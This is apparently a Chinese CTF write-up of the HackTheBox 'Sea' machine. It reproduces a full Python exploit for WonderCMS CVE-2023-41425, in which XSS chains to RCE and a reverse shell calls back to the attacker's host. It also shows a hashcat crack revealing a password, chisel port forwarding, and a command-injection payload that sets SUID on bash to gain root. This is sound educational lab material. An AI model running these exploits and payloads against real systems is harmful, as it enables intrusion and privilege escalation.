Sea WrtieUp
0x01 信息收集
- namp扫描
- 访问80端口,探测功能点
手工探测发现contact.php页面需要以域名的方式访问
将sea.htb域名添加到hosts文件
再次访问发现该页面是登记页面
提交测试数据后返回提交成功
对该页面抓包发现源代码中存在以下链接
http://sea.htb/themes/bike/img/velik71-new-logotip.png
http://sea.htb/themes/bike/css/style.css
疑似存在cms,访问 README.md文件可以发现目标使用WonderCMS
http://sea.htb/themes/bike/README.md
0x02漏洞利用
- 使用github搜索该cms发现该cms存在漏洞 CVE-2023-41425]
https://gist.github.com/prodigiousMind/fc69a79629c4ba9ee88a7ad526043413
查看漏洞利用代码
# Exploit: WonderCMS XSS to RCE
import sys
import requests
import os
import bs4
if (len(sys.argv)<4): print("usage: python3 exploit.py loginURL IP_Address Port\nexample: python3 exploit.py http://localhost/wondercms/loginURL 192.168.29.165 5252")
else:
data = '''
var url = "'''+str(sys.argv[1])+'''";
if (url.endsWith("/")) {
url = url.slice(0, -1);
}
var urlWithoutLog = url.split("/").slice(0, -1).join("/");
var urlWithoutLogBase = new URL(urlWithoutLog).pathname;
var token = document.querySelectorAll('[name="token"]')[0].value;
var urlRev = urlWithoutLogBase+"/?installModule=https://github.com/prodigiousMind/revshell/archive/refs/heads/main.zip&directoryName=violet&type=themes&token=" + token;
var xhr3 = new XMLHttpRequest();
xhr3.withCredentials = true;
xhr3.open("GET", urlRev);
xhr3.send();
xhr3.onload = function() {
if (xhr3.status == 200) {
var xhr4 = new XMLHttpRequest();
xhr4.withCredentials = true;
xhr4.open("GET", urlWithoutLogBase+"/themes/revshell-main/rev.php");
xhr4.send();
xhr4.onload = function() {
if (xhr4.status == 200) {
var ip = "'''+str(sys.argv[2])+'''";
var port = "'''+str(sys.argv[3])+'''";
var xhr5 = new XMLHttpRequest();
xhr5.withCredentials = true;
xhr5.open("GET", urlWithoutLogBase+"/themes/revshell-main/rev.php?lhost=" + ip + "&lport=" + port);
xhr5.send();
}
};
}
};
'''
try:
open("xss.js","w").write(data)
print("[+] xss.js is created")
print("[+] execute the below command in another terminal\n\n----------------------------\nnc -lvp "+str(sys.argv[3]))
print("----------------------------\n")
XSSlink = str(sys.argv[1]).replace("loginURL","index.php?page=loginURL?")+"\"></form><script+src=\"http://"+str(sys.argv[2])+":8000/xss.js\"></script><form+action=\""
XSSlink = XSSlink.strip(" ")
print("send the below link to admin:\n\n----------------------------\n"+XSSlink)
print("----------------------------\n")
print("\nstarting HTTP server to allow the access to xss.js")
os.system("python3 -m http.server\n")
except: print(data,"\n","//write this to a file")
通过exp可以发现是通过 xss 来实现的 rce,输入参数运行脚本。
python3 exp.py "http://sea.htb/index.php?page=loginURL" kali-ip 4444
将exp中给的xss payload 在 contact.php
中的 website
输入框中输入
提交payload后exp开启的web服务器能接到下载
然后kali开启监听,再访问对应地址
http://sea.htb/themes/revshell-main/rev.php?lhost=10.10.16.36&lport=4444
kali接收到反弹shell
0x03 第一个flag
- 获取到shell发现当前获取的shell没权限读取第一个flag,进一步信息收集
在信息收集的过程中发现网站根目录下的database.js文件中存在一组凭证
"password": "$2y$10$iOrk210RQSAzNCx6Vyq2X.aJ\/D.GuE4jRIikYiWrD3TM\/PjDnXm4q",
尝试使用hashcat爆破该凭证
hashcat '$2y$10$iOrk210RQSAzNCx6Vyq2X.aJ/D.GuE4jRIikYiWrD3TM/PjDnXm4q' -m 3200 /usr/share/wordlists/rockyou.txt --show
$2y$10$iOrk210RQSAzNCx6Vyq2X.aJ/D.GuE4jRIikYiWrD3TM/PjDnXm4q:mychemicalromance
home下两个用户 amay和 geo,尝试登录,amay 下成功登录。
- 在amay用户家目录发现第一个flag
0x04 第二个flag
- 查找是否存在suid或者sudo提权
进一步信息收集发现内网中有一个 8080 端口
- 内网穿透
将目标本地的8080端口转发到kali的8090端口上来
将内网穿透软件frp发送到目标主机
https://github.com/jpillora/chisel
python3 -m http.server 80
wget kali-ip/chisel
chmod +x ./chisel
然后本地服务端和远程客户端分别运行服务:
./chisel server -port 9292 --reverse # kali运行
./chisel client -v kali-ip:9292 R:8090:127.0.0.1:8080 # 目标运行
- 测试部署在目标本地8080端口的网站
发现该网站需要登录才能访问,尝试使用之前获取的用户名密码
amay:mychemicalromance
目标似乎是一个系统日志文件管理相关的界面,抓包查看
在数据包中发现有个命令拼接;可以使用payload /root/root.txt;chmod u+s /bin/bash
,给bash命令加上s权限。这里的 u+s
的作用就是将用户运行这个文件时,以用户拥有者的身份运行。既然能看日志,那就说明有 root
权限。然后权限借用。
- 使用bash提权的root
/usr/bin/bash -p # 执行此命令可以提权到root
- 获取第二个flag